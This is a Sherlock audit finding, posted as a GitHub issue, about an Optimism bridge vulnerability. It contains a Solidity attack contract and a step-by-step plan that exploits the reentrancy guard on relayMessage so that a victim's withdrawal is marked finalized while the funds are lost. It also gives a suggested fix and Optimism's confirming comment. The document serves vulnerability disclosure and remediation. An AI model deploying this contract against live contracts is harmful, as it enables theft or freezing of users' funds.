sherlock-audit/2023-01-optimism-judging

HE1M - Causing users lose their fund during finalizing withdrawal transaction

github-actions opened this issue · 1 comments

github-actions commented

HE1M

high

Causing users lose their fund during finalizing withdrawal transaction

Summary

A malicious user can make users lose their fund during finalizing their withdrawal. This is possible due to presence of reentrancy guard on the function relayMessage.

Vulnerability Detail

  • Bob (a malicious user) creates a contract (called AttackContract) on L1.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;

struct WithdrawalTransaction {
   uint256 nonce;
   address sender;
   address target;
   uint256 value;
   uint256 gasLimit;
   bytes data;
}

interface IOptimismPortal {
   function finalizeWithdrawalTransaction(WithdrawalTransaction memory _tx)
       external;
}

contract AttackContract {
   bool public donotRevert;
   bytes metaData;
   address optimismPortalAddress;

   constructor(address _optimismPortal) {
       optimismPortalAddress = _optimismPortal;
   }

   function enableRevert() public {
       donotRevert = true;
   }

   function setMetaData(WithdrawalTransaction memory _tx) public {
       metaData = abi.encodeWithSelector(
           IOptimismPortal.finalizeWithdrawalTransaction.selector,
           _tx
       );
   }

   function attack() public {
       if (!donotRevert) {
           revert();
       } else {
           optimismPortalAddress.call(metaData);
       }
   }
}

        if (!donotRevert) {
            revert();
        }
  • Then, Bob calls the function enableRevert to set donotRevert to true. So that if later the function attack() is called again, it will not revert.
    function enableRevert() public {
        donotRevert = true;
    }
  • Then, Bob notices that Alice is withdrawing large amount of fund from L2 to L1. Her withdrawal transaction is proved but she is waiting for the challenge period to be finished to finalize it.
  • Then, Bob calls the function setMetaData on the contract AttackContract with the following parameter:
    • _tx = Alice's withdrawal transaction
  • By doing so, the metaData will be equal to finalizeWithdrawalTransaction.selector + Alice's withdrawal transaction.
   function setMetaData(WithdrawalTransaction memory _tx) public {
        metaData = abi.encodeWithSelector(
            IOptimismPortal.finalizeWithdrawalTransaction.selector,
            _tx
        );
    }
  • Now, after the challenge period is passed, and before the function finalizeWithdrawalTransaction is called by anyone (Alice), Bob calls the function relayMessage with the required data to retry his previous failed message again.
  • This time, since donotRevert is true, the call to function attack() will not revert, instead the body of else clause will be executed.
        else {
            optimismPortalAddress.call(metaData);
        }

In summary the attack is as follows:

  1. Bob creates a malicious contract on L1 called AttackContract.
  2. Bob sends a message from L2 to L1 to call the function AttackContract.attack on L1.
  3. On L1 side, after the challenge period is passed, the function AttackContract.attack will be called.
  4. Message relay on L1 will be unsuccessful, because the function AttackContract.attack reverts. So, Bob's message will be flagged as failed message.
  5. Bob sets AttackContract.donotRevert to true.
  6. Bob waits for an innocent user to request withdrawal transaction.
  7. Bob waits for the innocent user's withdrawal transaction to be proved.
  8. Bob sets meta data in his malicious contract based on the innocent user's withdrawal transaction.
  9. Bob waits for the challenge period to be passed.
  10. After the challenge period is elapsed, Bob retries to relay his failed message again.
  11. CrossDomainMessenger.relayMessage will call the AttackContract.attack, then it calls OptimismPortal.finalizeWithdrawalTransaction to finalize innocent user's withdrawal transaction. Then, it calls CrossDomainMessenger.relayMessage, but it will be unsuccessful because of reentrancy guard.
  12. After finalizing the innocent user's withdrawal transaction, Bob's message will be flagged as successful.
  13. So, innocent user's withdrawal transaction is flagged as finalized, while it is not.

Impact

By doing this attack it is possible to prevent users from withdrawing their fund. Moreover, they lose their fund because withdrawal is flagged as finalized, but the withdrawal sent to L1CrossDomainMessanger was not successful.

Code Snippet

Tool used

Manual Review

Recommendation

Maybe it is better to use the following code instead of:
https://github.com/sherlock-audit/2023-01-optimism/blob/main/optimism/packages/contracts-bedrock/contracts/L1/OptimismPortal.sol#L324-L329

        try IL1CrossDomainMessanger.relayMessage(...) {} catch Error(string memory reason) {
            if (
                keccak256(abi.encodePacked(reason)) ==
                keccak256(abi.encodePacked("ReentrancyGuard: reentrant call"))
            ) {
                revert("finalizing should be reverted");
            }
        }
rcstanciu commented

Comment from Optimism

Description: Causing users lose their fund during finalizing withdrawal transaction

Reason: This is a very creative exploit that takes advantage of the L1CrossDomainMessenger's reentrancy guard on relayMessage. By creating an attack contract that reverts the first time a message is relayed by the OptimismPortal to the L1CrossDomainMessenger, but can be toggled to call finalizeWithdrawalTransaction for a different withdrawal transaction when the attacker replays it via the L1CrossDomainMessenger, the attacker can force the honest withdrawal's call to the L1CrossDomainMessenger to revert, effectively bricking it. PoC: here

Action: If a withdrawal transaction fails, we should check to see if the _target of the WithdrawalTransaction is the L1CrossDomainMessenger. If so, check if the call's revert data is the reentrancy guard message. If it is, we should revert the finalizeWithdrawalTransaction message and NOT mark the withdrawal as finalized.